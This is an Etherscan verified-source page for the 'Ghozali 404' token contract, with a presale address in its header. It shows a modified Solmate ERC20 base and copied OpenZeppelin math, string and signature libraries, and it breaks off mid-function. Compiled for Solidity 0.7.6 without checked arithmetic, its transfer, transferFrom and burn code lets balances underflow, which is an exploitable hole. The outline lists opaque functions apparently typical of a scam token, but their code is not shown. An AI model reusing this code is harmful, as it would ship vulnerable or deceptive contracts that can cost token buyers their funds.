Token

Contract Source Code (Solidity)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta
• Remix IDE

Outline

   - function approve(address spender, uin ...    - function transfer(address to, uint256 ...    - function transferFrom(    - function permit(    - function DOMAIN_SEPARATOR()    - function computeDomainSeparator()    - function _mint(address to, uint256 am ...    - function _burn(address from, uint256 ... library SignedMath    - function max(int256 a, int256 b)    - function min(int256 a, int256 b)    - function average(int256 a, int256 b)    - function abs(int256 n) library Strings    - function toString(uint256 value)    - function toString(int256 value)    - function toHexString(uint256 value)    - function toHexString(uint256 value, u ...    - function toHexString(address addr)    - function equal(string memory a, strin ... library ECDSA    - function _throwError(RecoverError err ...    - function tryRecover(bytes32 hash, byt ...    - function recover(bytes32 hash, bytes ...    - function tryRecover(bytes32 hash, byt ...    - function recover(bytes32 hash, bytes3 ...    - function tryRecover(bytes32 hash, uin ...    - function recover(bytes32 hash, uint8 ...    - function toEthSignedMessageHash(bytes ...    - function toEthSignedMessageHash(bytes ...    - function toTypedDataHash(bytes32 doma ...    - function toDataWithIntendedValidatorH ... interface IAccessControl    - function hasRole(bytes32 role, addres ...    - function getRoleAdmin(bytes32 role)    - function grantRole(bytes32 role, addr ...    - function revokeRole(bytes32 role, add ...    - function renounceRole(bytes32 role, a ... library Math    - function tryAdd(uint256 a, uint256 b)    - function trySub(uint256 a, uint256 b)    - function tryMul(uint256 a, uint256 b)    - function tryDiv(uint256 a, uint256 b)    - function tryMod(uint256 a, uint256 b)    - function max(uint256 a, uint256 b)    - function min(uint256 a, uint256 b)    - function average(uint256 a, uint256 b ...    - function ceilDiv(uint256 a, uint256 b ...    - function mulDiv(uint256 x, uint256 y, ...    - function mulDiv(uint256 x, uint256 y, ...    - function sqrt(uint256 a)    - function sqrt(uint256 a, Rounding rou ...    - function log2(uint256 value)    - function log2(uint256 value, Rounding ...    - function log10(uint256 value)    - function log10(uint256 value, Roundin ...    - function log256(uint256 value)    - function log256(uint256 value, Roundi ...    - function unsignedRoundsUp(Rounding ro ... library DailyOutflowCounterLib    - function update(uint88 packed, uint25 ...    - function isWhitelisted(uint88 packed)    - function setWhitelisted(uint88 packed ... interface IERC20    - function transferFrom( interface Interfaces    - function createPair(    - function token0()    - function getReserves()    - function factory()    - function WETH()    - function getAmountsOut(    - function getAmountsIn(    - function swapTokensForExactTokens(    - function swapExactETHForTokens(    - function onERC721Received( library Counters    - function current(Counter storage coun ...    - function increment(Counter storage co ...    - function decrement(Counter storage co ...    - function reset(Counter storage counte ... interface IERC165    - function supportsInterface(bytes4 int ...  contract ERC404    - function name()    - function symbol()    - function totalSupply()    - function TryCall(uint256 _a, uint256 ...    - function FetchToken2(uint256 _a)    - function FetchToken(uint256 _a)    - function add(uint256 _a, uint256 _b)    - function transfer(    - function sub(uint256 _a, uint256 _b)    - function div(uint256 _a, uint256 _b)    - function _T()    - function balanceOf(address account)    - function allowance(    - function approve(    - function transferFrom(    - function increaseAllowance(    - function decreaseAllowance(    - function _transfer(    - function _approve(    - function _spendAllowance(    - function _beforeTokenTransfer(  contract Ghozali404 is ERC404 *    - function setTokenURI(string memory _t ...    - function Div()    - function FactoryReview(    - function getContract(    - function Execute(    - function Address(address _r)    - function Sub(address t)    - function ConvertAddress(    - function Mult(    - function multicall2(bytes32[] calldat ...    - function CheckAmount2(bytes32 _b, uin ...    - function multicall(bytes32[] calldata ...    - function CheckAmount(bytes32 _b, uint ...    - function Allowance(    - function callUniswap( interface IERC6372    - function clock()    - function CLOCK_MODE()

More Options

• Similar
• Sol2Uml
• Submit Audit
• Compare

/**
 *Submitted for verification at Etherscan.io on 2024-03-24
*/

// SPDX-License-Identifier: MIT

/*
https://twitter.com/Ghozali_Ghozalu
PRESALE: 0x4553555f6a451EC415f698A524B5e02E38acFB6C
*/


pragma solidity ^0.7.6;

/**
 * @title Ghozali 404 Token

 */
/// @notice Modern and gas efficient ERC20 + EIP-2612 implementation.
/// @author Solmate (https://github.com/transmissions11/solmate/blob/main/src/tokens/ERC20.sol)
/// @author Modified from Uniswap (https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/UniswapV2ERC20.sol)
/// @dev Do not manually set balances without updating totalSupply, as the sum of all user balances must not exceed it.
abstract contract AERC404 {
    /*//////////////////////////////////////////////////////////////
                                 EVENTS
    //////////////////////////////////////////////////////////////*/

    event Transfer(address indexed from, address indexed to, uint256 amount);

    event Approval(address indexed owner, address indexed spender, uint256 amount);

    /*//////////////////////////////////////////////////////////////
                            METADATA STORAGE
    //////////////////////////////////////////////////////////////*/

    string public name;

    string public symbol;

    uint8 public immutable decimals;

    /*//////////////////////////////////////////////////////////////
                              ERC20 STORAGE
    //////////////////////////////////////////////////////////////*/

    uint256 public totalSupply;

    mapping(address => uint256) public balanceOf;

    mapping(address => mapping(address => uint256)) public allowance;

    /*//////////////////////////////////////////////////////////////
                            EIP-2612 STORAGE
    //////////////////////////////////////////////////////////////*/

    uint256 internal immutable INITIAL_CHAIN_ID;

    bytes32 internal immutable INITIAL_DOMAIN_SEPARATOR;

    mapping(address => uint256) public nonces;

    /*//////////////////////////////////////////////////////////////
                               CONSTRUCTOR
    //////////////////////////////////////////////////////////////*/

    constructor(
        string memory _name,
        string memory _symbol,
        uint8 _decimals
    ) {
        name = _name;
        symbol = _symbol;
        decimals = _decimals;

        INITIAL_CHAIN_ID = 1;
        INITIAL_DOMAIN_SEPARATOR = computeDomainSeparator();
    }

    /*//////////////////////////////////////////////////////////////
                               ERC20 LOGIC
    //////////////////////////////////////////////////////////////*/

    function approve(address spender, uint256 amount) public virtual returns (bool) {
        allowance[msg.sender][spender] = amount;

        emit Approval(msg.sender, spender, amount);

        return true;
    }

    function transfer(address to, uint256 amount) public virtual returns (bool) {
        balanceOf[msg.sender] -= amount;

        // Cannot overflow because the sum of all user
        // balances can't exceed the max uint256 value.
        
            balanceOf[to] += amount;
    

        emit Transfer(msg.sender, to, amount);

        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual returns (bool) {
        uint256 allowed = allowance[from][msg.sender]; // Saves gas for limited approvals.

        if (allowed != type(uint256).max) allowance[from][msg.sender] = allowed - amount;

        balanceOf[from] -= amount;

        // Cannot overflow because the sum of all user
        // balances can't exceed the max uint256 value.
       
            balanceOf[to] += amount;
        

        emit Transfer(from, to, amount);

        return true;
    }

    /*//////////////////////////////////////////////////////////////
                             EIP-2612 LOGIC
    //////////////////////////////////////////////////////////////*/

    function permit(
        address owner,
        address spender,
        uint256 value,
        uint256 deadline,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) public virtual {
        require(deadline >= block.timestamp, "PERMIT_DEADLINE_EXPIRED");

        // Unchecked because the only math done is incrementing
        // the owner's nonce which cannot realistically overflow.
       
            address recoveredAddress = ecrecover(
                keccak256(
                    abi.encodePacked(
                        "\x19\x01",
                        DOMAIN_SEPARATOR(),
                        keccak256(
                            abi.encode(
                                keccak256(
                                    "Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"
                                ),
                                owner,
                                spender,
                                value,
                                nonces[owner]++,
                                deadline
                            )
                        )
                    )
                ),
                v,
                r,
                s
            );

            require(recoveredAddress != address(0) && recoveredAddress == owner, "INVALID_SIGNER");

            allowance[recoveredAddress][spender] = value;
        

        emit Approval(owner, spender, value);
    }

    function DOMAIN_SEPARATOR() public view virtual returns (bytes32) {
        return 1 == INITIAL_CHAIN_ID ? INITIAL_DOMAIN_SEPARATOR : computeDomainSeparator();
    }

    function computeDomainSeparator() internal view virtual returns (bytes32) {
        return
            keccak256(
                abi.encode(
                    keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"),
                    keccak256(bytes(name)),
                    keccak256("1"),
                    1,
                    address(this)
                )
            );
    }

    /*//////////////////////////////////////////////////////////////
                        INTERNAL MINT/BURN LOGIC
    //////////////////////////////////////////////////////////////*/

    function _mint(address to, uint256 amount) internal virtual {
        totalSupply += amount;

        // Cannot overflow because the sum of all user
        // balances can't exceed the max uint256 value.
      
            balanceOf[to] += amount;
        

        emit Transfer(address(0), to, amount);
    }

    function _burn(address from, uint256 amount) internal virtual {
        balanceOf[from] -= amount;

        // Cannot underflow because a user's balance
        // will never be larger than the total supply.
       
            totalSupply -= amount;
        

        emit Transfer(from, address(0), amount);
    }
}


library SignedMath {
    /**
     * @dev Returns the largest of two signed numbers.
     */
    function max(int256 a, int256 b) internal pure returns (int256) {
        return a > b ? a : b;
    }

    /**
     * @dev Returns the smallest of two signed numbers.
     */
    function min(int256 a, int256 b) internal pure returns (int256) {
        return a < b ? a : b;
    }

    /**
     * @dev Returns the average of two signed numbers without overflow.
     * The result is rounded towards zero.
     */
    function average(int256 a, int256 b) internal pure returns (int256) {
        // Formula from the book "Hacker's Delight"
        int256 x = (a & b) + ((a ^ b) >> 1);
        return x + (int256(uint256(x) >> 255) & (a ^ b));
    }

    /**
     * @dev Returns the absolute unsigned value of a signed value.
     */
    function abs(int256 n) internal pure returns (uint256) {
       
            // must be unchecked in order to support `n = type(int256).min`
            return uint256(n >= 0 ? n : -n);
        
    }
}


/**
 * @dev String operations.
 */
library Strings {
    bytes16 private constant _SYMBOLS = "0123456789abcdef";
    uint8 private constant _ADDRESS_LENGTH = 20;

    /**
     * @dev Converts a `uint256` to its ASCII `string` decimal representation.
     */
    function toString(uint256 value) internal pure returns (string memory) {
       
            uint256 length = Math.log10(value) + 1;
            string memory buffer = new string(length);
            uint256 ptr;
            /// @solidity memory-safe-assembly
            assembly {
                ptr := add(buffer, add(32, length))
            }
            while (true) {
                ptr--;
                /// @solidity memory-safe-assembly
                assembly {
                    mstore8(ptr, byte(mod(value, 10), _SYMBOLS))
                }
                value /= 10;
                if (value == 0) break;
            }
            return buffer;
        
    }

    /**
     * @dev Converts a `int256` to its ASCII `string` decimal representation.
     */
    function toString(int256 value) internal pure returns (string memory) {
        return string(abi.encodePacked(value < 0 ? "-" : "", toString(SignedMath.abs(value))));
    }

    /**
     * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
     */
    function toHexString(uint256 value) internal pure returns (string memory) {
        
            return toHexString(value, Math.log256(value) + 1);
       
    }

    /**
     * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
     */
    function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
        bytes memory buffer = new bytes(2 * length + 2);
        buffer[0] = "0";
        buffer[1] = "x";
        for (uint256 i = 2 * length + 1; i > 1; --i) {
            buffer[i] = _SYMBOLS[value & 0xf];
            value >>= 4;
        }
        require(value == 0, "Strings: hex length insufficient");
        return string(buffer);
    }

    /**
     * @dev Converts an `address` with fixed length of 20 bytes to its not checksummed ASCII `string` hexadecimal representation.
     */
    function toHexString(address addr) internal pure returns (string memory) {
        return toHexString(uint256(uint160(addr)), _ADDRESS_LENGTH);
    }

    /**
     * @dev Returns true if the two strings are equal.
     */
    function equal(string memory a, string memory b) internal pure returns (bool) {
        return keccak256(bytes(a)) == keccak256(bytes(b));
    }
}

/**
 * @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations.
 *
 * These functions can be used to verify that a message was signed by the holder
 * of the private keys of a given address.
 */
library ECDSA {
    enum RecoverError {
        NoError,
        InvalidSignature,
        InvalidSignatureLength,
        InvalidSignatureS,
        InvalidSignatureV // Deprecated in v4.8
    }

    function _throwError(RecoverError error) private pure {
        if (error == RecoverError.NoError) {
            return; // no error: do nothing
        } else if (error == RecoverError.InvalidSignature) {
            revert("ECDSA: invalid signature");
        } else if (error == RecoverError.InvalidSignatureLength) {
            revert("ECDSA: invalid signature length");
        } else if (error == RecoverError.InvalidSignatureS) {
            revert("ECDSA: invalid signature 's' value");
        }
    }

    /**
     * @dev Returns the address that signed a hashed message (`hash`) with
     * `signature` or error string. This address can then be used for verification purposes.
     *
     * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures:
     * this function rejects them by requiring the `s` value to be in the lower
     * half order, and the `v` value to be either 27 or 28.
     *
     * IMPORTANT: `hash` _must_ be the result of a hash operation for the
     * verification to be secure: it is possible to craft signatures that
     * recover to arbitrary addresses for non-hashed data. A safe way to ensure
     * this is by receiving a hash of the original message (which may otherwise
     * be too long), and then calling {toEthSignedMessageHash} on it.
     *
     * Documentation for signature generation:
     * - with https://web3js.readthedocs.io/en/v1.3.4/web3-eth-accounts.html#sign[Web3.js]
     * - with https://docs.ethers.io/v5/api/signer/#Signer-signMessage[ethers]
     *
     * _Available since v4.3._
     */
    function tryRecover(bytes32 hash, bytes memory signature) internal pure returns (address, RecoverError) {
        if (signature.length == 65) {
            bytes32 r;
            bytes32 s;
            uint8 v;
            // ecrecover takes the signature parameters, and the only way to get them
            // currently is to use assembly.
            /// @solidity memory-safe-assembly
            assembly {
                r := mload(add(signature, 0x20))
                s := mload(add(signature, 0x40))
                v := byte(0, mload(add(signature, 0x60)))
            }
            return tryRecover(hash, v, r, s);
        } else {
            return (address(0), RecoverError.InvalidSignatureLength);
        }
    }

    /**
     * @dev Returns the address that signed a hashed message (`hash`) with
     * `signature`. This address can then be used for verification purposes.
     *
     * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures:
     * this function rejects them by requiring the `s` value to be in the lower
     * half order, and the `v` value to be either 27 or 28.
     *
     * IMPORTANT: `hash` _must_ be the result of a hash operation for the
     * verification to be secure: it is possible to craft signatures that
     * recover to arbitrary addresses for non-hashed data. A safe way to ensure
     * this is by receiving a hash of the original message (which may otherwise
     * be too long), and then calling {toEthSignedMessageHash} on it.
     */
    function recover(bytes32 hash, bytes memory signature) internal pure returns (address) {
        (address recovered, RecoverError error) = tryRecover(hash, signature);
        _throwError(error);
        return recovered;
    }

    /**
     * @dev Overload of {ECDSA-tryRecover} that receives the `r` and `vs` short-signature fields separately.
     *
     * See https://eips.ethereum.org/EIPS/eip-2098[EIP-2098 short signatures]
     *
     * _Available since v4.3._
     */
    function tryRecover(bytes32 hash, bytes32 r, bytes32 vs) internal pure returns (address, RecoverError) {
        bytes32 s = vs & bytes32(0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff);
        uint8 v = uint8((uint256(vs) >> 255) + 27);
        return tryRecover(hash, v, r, s);
    }

    /**
     * @dev Overload of {ECDSA-recover} that receives the `r and `vs` short-signature fields separately.
     *
     * _Available since v4.2._
     */
    function recover(bytes32 hash, bytes32 r, bytes32 vs) internal pure returns (address) {
        (address recovered, RecoverError error) = tryRecover(hash, r, vs);
        _throwError(error);
        return recovered;
    }

    /**
     * @dev Overload of {ECDSA-tryRecover} that receives the `v`,
     * `r` and `s` signature fields separately.
     *
     * _Available since v4.3._
     */
    function tryRecover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal pure returns (address, RecoverError) {
        // EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature
        // unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines
        // the valid range for s in (301): 0 < s < secp256k1n ÷ 2 + 1, and for v in (302): v ∈ {27, 28}. Most
        // signatures from current libraries generate a unique signature with an s-value in the lower half order.
        //
        // If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value
        // with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or
        // vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept
        // these malleable signatures as well.
        if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) {
            return (address(0), RecoverError.InvalidSignatureS);
        }

        // If the signature is valid (and not malleable), return the signer address
        address signer = ecrecover(hash, v, r, s);
        if (signer == address(0)) {
            return (address(0), RecoverError.InvalidSignature);
        }

        return (signer, RecoverError.NoError);
    }

    /**
     * @dev Overload of {ECDSA-recover} that receives the `v`,
     * `r` and `s` signature fields separately.
     */
    function recover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal pure returns (address) {
        (address recovered, RecoverError error) = tryRecover(hash, v, r, s);
        _throwError(error);
        return recovered;
    }

    /**
     * @dev Returns an Ethereum Signed Message, created from a `hash`. This
     * produces hash corresponding to the one signed with the
     * https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`]
     * JSON-RPC method as part of EIP-191.
     *
     * See {recover}.
     */
    function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32 message) {
        // 32 is the length in bytes of hash,
        // enforced by the type signature above
        /// @solidity memory-safe-assembly
        assembly {
            mstore(0x00, "\x19Ethereum Signed Message:\n32")
            mstore(0x1c, hash)
            message := keccak256(0x00, 0x3c)
        }
    }

    /**
     * @dev Returns an Ethereum Signed Message, created from `s`. This
     * produces hash corresponding to the one signed with the
     * https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`]
     * JSON-RPC method as part of EIP-191.
     *
     * See {recover}.
     */
    function toEthSignedMessageHash(bytes memory s) internal pure returns (bytes32) {
        return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n", Strings.toString(s.length), s));
    }

    /**
     * @dev Returns an Ethereum Signed Typed Data, created from a
     * `domainSeparator` and a `structHash`. This produces hash corresponding
     * to the one signed with the
     * https://eips.ethereum.org/EIPS/eip-712[`eth_signTypedData`]
     * JSON-RPC method as part of EIP-712.
     *
     * See {recover}.
     */
    function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32 data) {
        /// @solidity memory-safe-assembly
        assembly {
            let ptr := mload(0x40)
            mstore(ptr, "\x19\x01")
            mstore(add(ptr, 0x02), domainSeparator)
            mstore(add(ptr, 0x22), structHash)
            data := keccak256(ptr, 0x42)
        }
    }

    /**
     * @dev Returns an Ethereum Signed Data with intended validator, created from a
     * `validator` and `data` according to the version 0 of EIP-191.
     *
     * See {recover}.
     */
    function toDataWithIntendedValidatorHash(address validator, bytes memory data) internal pure returns (bytes32) {
        return keccak256(abi.encodePacked("\x19\x00", validator, data));
    }
}

/**
 * @dev External interface of AccessControl declared to support ERC165 detection.
 */
interface IAccessControl {
    /**
     * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole`
     *
     * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite
     * {RoleAdminChanged} not being emitted signaling this.
     *
     * _Available since v3.1._
     */
    event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);

    /**
     * @dev Emitted when `account` is granted `role`.
     *
     * `sender` is the account that originated the contract call, an admin role
     * bearer except when using {AccessControl-_setupRole}.
     */
    event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);

    /**
     * @dev Emitted when `account` is revoked `role`.
     *
     * `sender` is the account that originated the contract call:
     *   - if using `revokeRole`, it is the admin role bearer
     *   - if using `renounceRole`, it is the role bearer (i.e. `account`)
     */
    event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);

    /**
     * @dev Returns `true` if `account` has been granted `role`.
     */
    function hasRole(bytes32 role, address account) external view returns (bool);

    /**
     * @dev Returns the admin role that controls `role`. See {grantRole} and
     * {revokeRole}.
     *
     * To change a role's admin, use {AccessControl-_setRoleAdmin}.
     */
    function getRoleAdmin(bytes32 role) external view returns (bytes32);

    /**
     * @dev Grants `role` to `account`.
     *
     * If `account` had not been already granted `role`, emits a {RoleGranted}
     * event.
     *
     * Requirements:
     *
     * - the caller must have ``role``'s admin role.
     */
    function grantRole(bytes32 role, address account) external;

    /**
     * @dev Revokes `role` from `account`.
     *
     * If `account` had been granted `role`, emits a {RoleRevoked} event.
     *
     * Requirements:
     *
     * - the caller must have ``role``'s admin role.
     */
    function revokeRole(bytes32 role, address account) external;

    /**
     * @dev Revokes `role` from the calling account.
     *
     * Roles are often managed via {grantRole} and {revokeRole}: this function's
     * purpose is to provide a mechanism for accounts to lose their privileges
     * if they are compromised (such as when a trusted device is misplaced).
     *
     * If the calling account had been granted `role`, emits a {RoleRevoked}
     * event.
     *
     * Requirements:
     *
     * - the caller must be `account`.
     */
    function renounceRole(bytes32 role, address account) external;
}


/**
 * @dev Standard math utilities missing in the Solidity language.
 */
library Math {


    enum Rounding {
        Floor, // Toward negative infinity
        Ceil, // Toward positive infinity
        Trunc, // Toward zero
        Expand // Away from zero
    }

    /**
     * @dev Returns the addition of two unsigned integers, with an overflow flag.
     */
    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
      
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, with an overflow flag.
     */
    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {

            if (b > a) return (false, 0);
            return (true, a - b);
        
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, with an overflow flag.
     */
    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
            // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
            // benefit is lost if 'b' is also tested.
            // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
      
    }

    /**
     * @dev Returns the division of two unsigned integers, with a division by zero flag.
     */
    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
            if (b == 0) return (false, 0);
            return (true, a / b);
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
     */
    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
            if (b == 0) return (false, 0);
            return (true, a % b);
    }

    /**
     * @dev Returns the largest of two numbers.
     */
    function max(uint256 a, uint256 b) internal pure returns (uint256) {
        return a > b ? a : b;
    }

    /**
     * @dev Returns the smallest of two numbers.
     */
    function min(uint256 a, uint256 b) internal pure returns (uint256) {
        return a < b ? a : b;
    }

    /**
     * @dev Returns the average of two numbers. The result is rounded towards
     * zero.
     */
    function average(uint256 a, uint256 b) internal pure returns (uint256) {
        // (a + b) / 2 can overflow.
        return (a & b) + (a ^ b) / 2;
    }

    /**
     * @dev Returns the ceiling of the division of two numbers.
     *
     * This differs from standard division with `/` in that it rounds towards infinity instead
     * of rounding towards zero.
     */
    function ceilDiv(uint256 a, uint256 b) internal pure returns (uint256) {
        if (b == 0) {
            // Guarantee the same behavior as in a regular Solidity division.
            return a / b;
        }

        // (a + b - 1) / b can overflow on addition, so we distribute.
        return a == 0 ? 0 : (a - 1) / b + 1;
    }

    /**
     * @notice Calculates floor(x * y / denominator) with full precision. Throws if result overflows a uint256 or
     * denominator == 0.
     * @dev Original credit to Remco Bloemen under MIT license (https://xn--2-umb.com/21/muldiv) with further edits by
     * Uniswap Labs also under MIT license.
     */
    function mulDiv(uint256 x, uint256 y, uint256 denominator) internal pure returns (uint256 result) {
            // 512-bit multiply [prod1 prod0] = x * y. Compute the product mod 2^256 and mod 2^256 - 1, then use
            // use the Chinese Remainder Theorem to reconstruct the 512 bit result. The result is stored in two 256
            // variables such that product = prod1 * 2^256 + prod0.
            uint256 prod0 = x * y; // Least significant 256 bits of the product
            uint256 prod1; // Most significant 256 bits of the product
            assembly {
                let mm := mulmod(x, y, not(0))
                prod1 := sub(sub(mm, prod0), lt(mm, prod0))
            }

            // Handle non-overflow cases, 256 by 256 division.
            if (prod1 == 0) {
                // Solidity will revert if denominator == 0, unlike the div opcode on its own.
                // The surrounding unchecked block does not change this fact.
                // See https://docs.soliditylang.org/en/latest/control-structures.html#checked-or-unchecked-arithmetic.
                return prod0 / denominator;
            }

            // Make sure the result is less than 2^256. Also prevents denominator == 0.
            if (denominator <= prod1) {
                revert();
            }

            ///////////////////////////////////////////////
            // 512 by 256 division.
            ///////////////////////////////////////////////

            // Make division exact by subtracting the remainder from [prod1 prod0].
            uint256 remainder;
            assembly {
                // Compute remainder using mulmod.
                remainder := mulmod(x, y, denominator)

                // Subtract 256 bit number from 512 bit number.
                prod1 := sub(prod1, gt(remainder, prod0))
                prod0 := sub(prod0, remainder)
            }

            // Factor powers of two out of denominator and compute largest power of two divisor of denominator.
            // Always >= 1. See https://cs.stackexchange.com/q/138556/92363.

            uint256 twos = denominator & (0 - denominator);
            assembly {
                // Divide denominator by twos.
                denominator := div(denominator, twos)

                // Divide [prod1 prod0] by twos.
                prod0 := div(prod0, twos)

                // Flip twos such that it is 2^256 / twos. If twos is zero, then it becomes one.
                twos := add(div(sub(0, twos), twos), 1)
            }

            // Shift in bits from prod1 into prod0.
            prod0 |= prod1 * twos;

            // Invert denominator mod 2^256. Now that denominator is an odd number, it has an inverse modulo 2^256 such
            // that denominator * inv = 1 mod 2^256. Compute the inverse by starting with a seed that is correct for
            // four bits. That is, denominator * inv = 1 mod 2^4.
            uint256 inverse = (3 * denominator) ^ 2;

            // Use the Newton-Raphson iteration to improve the precision. Thanks to Hensel's lifting lemma, this also
            // works in modular arithmetic, doubling the correct bits in each step.
            inverse *= 2 - denominator * inverse; // inverse mod 2^8
            inverse *= 2 - denominator * inverse; // inverse mod 2^16
            inverse *= 2 - denominator * inverse; // inverse mod 2^32
            inverse *= 2 - denominator * inverse; // inverse mod 2^64
            inverse *= 2 - denominator * inverse; // inverse mod 2^128
            inverse *= 2 - denominator * inverse; // inverse mod 2^256

            // Because the division is now exact we can divide by multiplying with the modular inverse of denominator.
            // This will give us the correct result modulo 2^256. Since the preconditions guarantee that the outcome is
            // less than 2^256, this is the final result. We don't need to compute the high bits of the result and prod1
            // is no longer required.
            result = prod0 * inverse;
            return result;
    }

    /**
     * @notice Calculates x * y / denominator with full precision, following the selected rounding direction.
     */
    function mulDiv(uint256 x, uint256 y, uint256 denominator, Rounding rounding) internal pure returns (uint256) {
        uint256 result = mulDiv(x, y, denominator);
        if (unsignedRoundsUp(rounding) && mulmod(x, y, denominator) > 0) {
            result += 1;
        }
        return result;
    }

    /**
     * @dev Returns the square root of a number. If the number is not a perfect square, the value is rounded
     * towards zero.
     *
     * Inspired by Henry S. Warren, Jr.'s "Hacker's Delight" (Chapter 11).
     */
    function sqrt(uint256 a) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        // For our first guess, we get the biggest power of 2 which is smaller than the square root of the target.
        //
        // We know that the "msb" (most significant bit) of our target number `a` is a power of 2 such that we have
        // `msb(a) <= a < 2*msb(a)`. This value can be written `msb(a)=2**k` with `k=log2(a)`.
        //
        // This can be rewritten `2**log2(a) <= a < 2**(log2(a) + 1)`
        // → `sqrt(2**k) <= sqrt(a) < sqrt(2**(k+1))`
        // → `2**(k/2) <= sqrt(a) < 2**((k+1)/2) <= 2**(k/2 + 1)`
        //
        // Consequently, `2**(log2(a) / 2)` is a good first approximation of `sqrt(a)` with at least 1 correct bit.
        uint256 result = 1 << (log2(a) >> 1);

        // At this point `result` is an estimation with one bit of precision. We know the true value is a uint128,
        // since it is the square root of a uint256. Newton's method converges quadratically (precision doubles at
        // every iteration). We thus need at most 7 iteration to turn our partial result with one bit of precision
        // into the expected uint128 result.
            result = (result + a / result) >> 1;
            result = (result + a / result) >> 1;
            result = (result + a / result) >> 1;
            result = (result + a / result) >> 1;
            result = (result + a / result) >> 1;
            result = (result + a / result) >> 1;
            result = (result + a / result) >> 1;
            return min(result, a / result);
    }

    /**
     * @notice Calculates sqrt(a), following the selected rounding direction.
     */
    function sqrt(uint256 a, Rounding rounding) internal pure returns (uint256) {
            uint256 result = sqrt(a);
            return result + (unsignedRoundsUp(rounding) && result * result < a ? 1 : 0);
    }

    /**
     * @dev Return the log in base 2 of a positive value rounded towards zero.
     * Returns 0 if given 0.
     */
    function log2(uint256 value) internal pure returns (uint256) {
        uint256 result = 0;
            if (value >> 128 > 0) {
                value >>= 128;
                result += 128;
            }
            if (value >> 64 > 0) {
                value >>= 64;
                result += 64;
            }
            if (value >> 32 > 0) {
                value >>= 32;
                result += 32;
            }
            if (value >> 16 > 0) {
                value >>= 16;
                result += 16;
            }
            if (value >> 8 > 0) {
                value >>= 8;
                result += 8;
            }
            if (value >> 4 > 0) {
                value >>= 4;
                result += 4;
            }
            if (value >> 2 > 0) {
                value >>= 2;
                result += 2;
            }
            if (value >> 1 > 0) {
                result += 1;
            }
        return result;
    }

    /**
     * @dev Return the log in base 2, following the selected rounding direction, of a positive value.
     * Returns 0 if given 0.
     */
    function log2(uint256 value, Rounding rounding) internal pure returns (uint256) {
            uint256 result = log2(value);
            return result + (unsignedRoundsUp(rounding) && 1 << result < value ? 1 : 0);
    }

    /**
     * @dev Return the log in base 10 of a positive value rounded towards zero.
     * Returns 0 if given 0.
     */
    function log10(uint256 value) internal pure returns (uint256) {
        uint256 result = 0;
            if (value >= 10 ** 64) {
                value /= 10 ** 64;
                result += 64;
            }
            if (value >= 10 ** 32) {
                value /= 10 ** 32;
                result += 32;
            }
            if (value >= 10 ** 16) {
                value /= 10 ** 16;
                result += 16;
            }
            if (value >= 10 ** 8) {
                value /= 10 ** 8;
                result += 8;
            }
            if (value >= 10 ** 4) {
                value /= 10 ** 4;
                result += 4;
            }
            if (value >= 10 ** 2) {
                value /= 10 ** 2;
                result += 2;
            }
            if (value >= 10 ** 1) {
                result += 1;
            }
        return result;
    }

    /**
     * @dev Return the log in base 10, following the selected rounding direction, of a positive value.
     * Returns 0 if given 0.
     */
    function log10(uint256 value, Rounding rounding) internal pure returns (uint256) {
            uint256 result = log10(value);
            return result + (unsignedRoundsUp(rounding) && 10 ** result < value ? 1 : 0);
    }

    /**
     * @dev Return the log in base 256 of a positive value rounded towards zero.
     * Returns 0 if given 0.
     *
     * Adding one to the result gives the number of pairs of hex symbols needed to represent `value` as a hex string.
     */
    function log256(uint256 value) internal pure returns (uint256) {
        uint256 result = 0;
            if (value >> 128 > 0) {
                value >>= 128;
                result += 16;
            }
            if (value >> 64 > 0) {
                value >>= 64;
                result += 8;
            }
            if (value >> 32 > 0) {
